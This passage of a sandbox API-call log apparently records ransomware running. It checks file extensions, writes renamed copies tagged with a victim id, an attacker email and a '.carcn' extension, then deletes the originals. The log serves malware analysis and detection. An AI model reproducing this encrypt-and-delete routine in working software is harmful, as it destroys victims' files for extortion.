(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0272.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.994] lstrlenW (lpString=".doc") returned 4 [0272.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.994] lstrlenW (lpString=".docx") returned 5 [0272.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.994] lstrlenW (lpString=".pdf") returned 4 [0272.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.994] lstrlenW (lpString=".xls") returned 4 [0272.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.994] lstrlenW (lpString=".xlsx") returned 5 [0272.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.994] lstrlenW (lpString=".ppt") returned 4 [0272.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.995] lstrlenW (lpString=".zip") returned 4 [0272.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.995] lstrlenW (lpString=".rar") returned 4 [0272.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.995] lstrlenW (lpString=".bz2") returned 4 [0272.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.995] lstrlenW (lpString=".7z") returned 3 [0272.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.995] lstrlenW (lpString=".dbf") returned 4 [0272.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.995] lstrlenW (lpString=".1cd") returned 4 [0272.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.995] lstrlenW (lpString=".jpg") returned 4 [0272.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.995] lstrlenW (lpString=".doc") returned 4 [0272.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.996] lstrlenW (lpString=".docx") returned 5 [0272.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.996] lstrlenW (lpString=".pdf") returned 4 [0272.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.996] lstrlenW (lpString=".xls") returned 4 [0272.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.996] lstrlenW (lpString=".xlsx") returned 5 [0272.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.996] lstrlenW (lpString=".ppt") returned 4 [0272.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.996] lstrlenW (lpString=".zip") returned 4 [0272.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.996] lstrlenW (lpString=".rar") returned 4 [0272.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.996] lstrlenW (lpString=".bz2") returned 4 [0272.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.996] lstrlenW (lpString=".7z") returned 3 [0272.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.996] lstrlenW (lpString=".dbf") returned 4 [0272.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.996] lstrlenW (lpString=".1cd") returned 4 [0272.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0272.996] lstrlenW (lpString=".jpg") returned 4 [0272.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.997] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0272.997] lstrlenW (lpString="DD00448_.WMF") returned 12 [0272.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0273.126] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2952) returned 1 [0273.126] CloseHandle (hObject=0x4ac) returned 1 [0273.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0273.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0273.126] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.126] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0273.127] GetLastError () returned 0x0 [0273.127] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xb88, lpOverlapped=0x0) returned 1 [0273.227] WriteFile (in: hFile=0x4a0, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xb90, lpOverlapped=0x0) returned 1 [0273.228] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.228] WriteFile (in: hFile=0x4a0, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.228] SetEndOfFile (hFile=0x4a0) returned 1 [0273.229] CloseHandle (hObject=0x4a0) returned 1 [0273.229] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.229] SetEndOfFile (hFile=0x4ac) returned 1 [0273.243] CloseHandle (hObject=0x4ac) returned 1 [0273.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0273.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.329] lstrlenW (lpString=".doc") returned 4 [0273.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.329] lstrlenW (lpString=".docx") returned 5 [0273.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.329] lstrlenW (lpString=".pdf") returned 4 [0273.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.329] lstrlenW (lpString=".xls") returned 4 [0273.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.329] lstrlenW (lpString=".xlsx") returned 5 [0273.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.329] lstrlenW (lpString=".ppt") returned 4 [0273.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.330] lstrlenW (lpString=".zip") returned 4 [0273.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.330] lstrlenW (lpString=".rar") returned 4 [0273.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.330] lstrlenW (lpString=".bz2") returned 4 [0273.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.330] lstrlenW (lpString=".7z") returned 3 [0273.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.330] lstrlenW (lpString=".dbf") returned 4 [0273.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.330] lstrlenW (lpString=".1cd") returned 4 [0273.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.330] lstrlenW (lpString=".jpg") returned 4 [0273.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.330] lstrlenW (lpString=".doc") returned 4 [0273.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.330] lstrlenW (lpString=".docx") returned 5 [0273.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.330] lstrlenW (lpString=".pdf") returned 4 [0273.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString=".xls") returned 4 [0273.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.331] lstrlenW (lpString=".xlsx") returned 5 [0273.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.331] lstrlenW (lpString=".ppt") returned 4 [0273.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.331] lstrlenW (lpString=".zip") returned 4 [0273.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.331] lstrlenW (lpString=".rar") returned 4 [0273.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString=".bz2") returned 4 [0273.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString=".7z") returned 3 [0273.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.331] lstrlenW (lpString=".dbf") returned 4 [0273.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.331] lstrlenW (lpString=".1cd") returned 4 [0273.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0273.331] lstrlenW (lpString=".jpg") returned 4 [0273.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.332] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3616) returned 1 [0273.332] CloseHandle (hObject=0x550) returned 1 [0273.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0273.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0273.427] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.427] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0273.429] GetLastError () returned 0x0 [0273.429] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xe20, lpOverlapped=0x0) returned 1 [0273.514] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xe30, lpOverlapped=0x0) returned 1 [0273.515] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.515] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.515] SetEndOfFile (hFile=0x548) returned 1 [0273.516] CloseHandle (hObject=0x548) returned 1 [0273.516] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.516] SetEndOfFile (hFile=0x4ac) returned 1 [0273.520] CloseHandle (hObject=0x4ac) returned 1 [0273.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0273.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0273.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0273.521] lstrlenW (lpString=".doc") returned 4 [0273.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.522] lstrlenW (lpString=".docx") returned 5 [0273.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.522] lstrlenW (lpString=".pdf") returned 4 [0273.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.522] lstrlenW (lpString=".xls") returned 4 [0273.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.522] lstrlenW (lpString=".xlsx") returned 5 [0273.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.522] lstrlenW (lpString=".ppt") returned 4 [0273.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0273.522] lstrlenW (lpString=".zip") returned 4 [0273.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.522] lstrlenW (lpString=".rar") returned 4 [0273.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.522] lstrlenW (lpString=".bz2") returned 4 [0273.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.522] lstrlenW (lpString=".7z") returned 3 [0273.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0273.522] lstrlenW (lpString=".dbf") returned 4 [0273.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0273.523] lstrlenW (lpString=".1cd") returned 4 [0273.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0273.523] lstrlenW (lpString=".jpg") returned 4 [0273.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.524] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2796) returned 1 [0273.524] CloseHandle (hObject=0x4ac) returned 1 [0273.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0273.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0273.525] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.525] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0273.536] GetLastError () returned 0x0 [0273.536] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xaec, lpOverlapped=0x0) returned 1 [0273.731] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0273.732] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.733] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.733] SetEndOfFile (hFile=0x548) returned 1 [0274.135] CloseHandle (hObject=0x548) returned 1 [0274.135] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.135] SetEndOfFile (hFile=0x4ac) returned 1 [0274.138] CloseHandle (hObject=0x4ac) returned 1 [0274.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0274.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0274.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0274.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0274.139] lstrlenW (lpString=".doc") returned 4 [0274.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.139] lstrlenW (lpString=".docx") returned 5 [0274.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.140] lstrlenW (lpString=".pdf") returned 4 [0274.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.140] lstrlenW (lpString=".xls") returned 4 [0274.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.140] lstrlenW (lpString=".xlsx") returned 5 [0274.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.140] lstrlenW (lpString=".ppt") returned 4 [0274.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0274.140] lstrlenW (lpString=".zip") returned 4 [0274.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.140] lstrlenW (lpString=".rar") returned 4 [0274.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.140] lstrlenW (lpString=".bz2") returned 4 [0274.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.140] lstrlenW (lpString=".7z") returned 3 [0274.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0274.140] lstrlenW (lpString=".dbf") returned 4 [0274.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0274.141] lstrlenW (lpString=".1cd") returned 4 [0274.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0274.141] lstrlenW (lpString=".jpg") returned 4 [0274.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.141] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2960) returned 1 [0274.141] CloseHandle (hObject=0x4ac) returned 1 [0274.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0274.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0274.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0274.143] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.143] 